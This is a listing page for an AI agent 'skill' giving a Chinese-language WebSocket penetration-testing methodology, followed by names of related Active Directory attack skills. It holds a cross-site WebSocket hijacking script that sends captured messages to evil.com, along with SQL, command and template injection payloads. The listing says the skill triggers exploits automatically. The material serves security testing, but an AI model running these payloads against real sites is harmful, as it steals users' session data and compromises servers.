websocket-attack
$
npx mdskill add wgpsec/AboutSecurity/websocket-attackExploit WebSocket vulnerabilities via hijacking and injection.
- Identifies WebSocket endpoints using protocol detection and script analysis.
- Executes cross-site hijacking and message injection attacks.
- Automatically triggers exploits when Origin headers are missing or unverified.
- Reports successful attacks and extracted data to the agent.
SKILL.md
.github/skills/websocket-attackView on GitHub ↗
---
name: websocket-attack
description: "WebSocket 安全测试。当目标使用 ws:// 或 wss:// 协议、页面 JS 中有 new WebSocket() 调用、或发现 101 Switching Protocols 响应时使用。覆盖 WS 劫持(CSWSH)、消息注入、认证绕过、信息泄露"
metadata:
tags: "websocket,ws,wss,cswsh,hijack,real-time,socket,upgrade"
category: "exploit"
---
# WebSocket 安全测试方法论
WebSocket 提供全双工通信,但安全机制常被忽略——没有同源策略的自动保护、没有 CSRF token 的标准实践。
## Phase 1: 发现 WebSocket 端点
### 1.1 页面分析
在 JS 源码中搜索:
- `new WebSocket(`
- `ws://` 或 `wss://`
- `socket.io`(Socket.IO 库)
- `.onmessage`, `.send(`
### 1.2 网络层识别
- HTTP 101 响应 + `Upgrade: websocket` 头
- 常见路径:`/ws`, `/websocket`, `/socket.io/`, `/cable`(ActionCable)
## Phase 2: Cross-Site WebSocket Hijacking (CSWSH)
WebSocket 握手是 HTTP Upgrade 请求,浏览器会自动携带 Cookie。如果服务端不检查 Origin 头→可跨站劫持。
### 2.1 检测
```
http_request url="http://target/ws" method="GET" headers={"Upgrade":"websocket","Connection":"Upgrade","Sec-WebSocket-Version":"13","Sec-WebSocket-Key":"dGhlIHNhbXBsZSBub25jZQ==","Origin":"https://evil.com"}
```
如果返回 101 → Origin 未校验 → 可劫持。
### 2.2 利用
```html
<script>
var ws = new WebSocket("wss://target.com/ws");
ws.onopen = function() {
ws.send('{"action":"getProfile"}');
};
ws.onmessage = function(e) {
// 窃取数据
fetch("http://evil.com/log?d=" + encodeURIComponent(e.data));
};
</script>
```
## Phase 3: 消息注入
### 3.1 常见注入点
WebSocket 消息通常是 JSON,测试注入:
**SQL 注入**:
```json
{"action":"search","query":"' OR 1=1--"}
```
**命令注入**:
```json
{"action":"ping","host":"127.0.0.1; cat /flag.txt"}
```
**SSTI**:
```json
{"action":"render","template":"{{7*7}}"}
```
### 3.2 认证绕过
某些 WS 实现在握手时认证,但消息级别不检查权限:
- 连接后发送管理员操作消息
- 修改消息中的 user_id/role 字段
- 发送未公开的 action 类型(从 JS 源码中发现)
## Phase 4: 信息泄露
WebSocket 常用于实时功能,可能泄露:
- 其他用户的聊天消息
- 系统通知(含内部信息)
- 实时日志/调试信息
- 管理操作的广播
监听所有消息,不急于发送——有时被动监听就能获取敏感数据。
## Phase 5: Socket.IO 特殊处理
Socket.IO 使用自己的协议格式:
- 消息格式:`42["event_name",{data}]`(4=message, 2=event)
- 先用 HTTP 轮询再升级 WS:`/socket.io/?EIO=4&transport=polling`
- 命名空间:可以连接 `/admin` 命名空间试图访问管理功能
### 5.1 Socket.IO 枚举
- 事件名枚举:搜索 JS 源码查找隐藏事件名
### 5.2 认证缺口
- 握手时有认证但消息级别不检查权限(认证不一致/权限缺口)
## 深入参考
- WebSocket 高级利用技术(CSWSH 深入/SockJS/走私/认证提取) → [references/websocket-exploitation.md](references/websocket-exploitation.md)
## Phase 6: 注意事项
- WebSocket 不受浏览器同源策略保护(只靠服务端 Origin 检查)
- 消息内容通常无自动编码/转义,注入风险高
- 长连接意味着可以持续监听和注入
More from wgpsec/AboutSecurity
- 401-403-bypass401/403 访问拒绝绕过方法论。当遇到管理后台、API 端点返回 401/403 Forbidden 时使用。覆盖路径操纵、HTTP 方法篡改、Header 注入、协议降级、组合攻击
- ad-acl-abuseActive Directory ACL 滥用攻击方法论。当 BloodHound 发现 GenericAll/WriteDACL/WriteOwner/GenericWrite/ForceChangePassword 等危险 ACE 时使用。覆盖 ACE 枚举、权限滥用链、Shadow Credentials、RBCD 攻击
- ad-delegation-attackKerberos 委派攻击(非约束/约束/RBCD)。当 BloodHound 发现委派配置、或已获取有 SPN 的服务账号/机器账号控制权时使用。通过 S4U 协议滥用可实现跨服务模拟任意用户,常用于域内权限提升和横向移动。
- ad-domain-attackActive Directory 域环境攻击全链路。当目标主机在域环境中(systeminfo 显示 Domain 非 WORKGROUP)、发现 88/389/636 端口、或获取到域用户凭据时使用。覆盖域信息收集、用户枚举、Kerberoasting、AS-REP Roasting、委派攻击、ACL 滥用、DCSync、Golden/Silver Ticket
- ad-persistenceAD 域环境持久化技术。当已获取域管/本地管理员权限、需要建立持久访问以确保重启或密码更改后仍能回到目标环境时使用。覆盖主机级持久化(计划任务/注册表Run/COM劫持/WMI事件订阅/Windows服务/启动文件夹)、域级持久化(Golden Ticket/Silver Ticket/Skeleton Key/DSRM/AdminSDHolder)、DCShadow/GoldenGMSA高级技术、清理命令与检测规避
- ad-trust-attack域信任关系攻击。当目标存在多域/多林环境时使用。包含父子域提权(Golden Ticket + ExtraSid)、跨林攻击(SID History/MSSQL Trust Links)、单向信任利用。已获取子域 Domain Admin 或发现信任关系时优先加载。
- adcs-certipy-attackActive Directory Certificate Services (ADCS) 证书攻击。当发现域内有 CA 服务器、ADCS Web Enrollment、证书模板配置错误时使用。覆盖 ESC1-ESC11 所有证书滥用路径、Certipy 工具链、证书伪造、NTLM 中继到 ADCS。发现 ADCS/CA/证书/certsrv 相关内容时一定要使用此技能
- adinfo-enum使用 Adinfo 进行 Active Directory 信息收集。当获得域用户凭据后需要快速收集域环境信息时使用。Adinfo 是一个快速 AD 信息收集工具,一条命令输出域控列表、域管用户、信任关系、GPO、SPN、委派配置等关键信息——比手动 LDAP 查询快得多。发现域环境后第一步信息收集使用此技能
- agent-security|
- ai-data-security|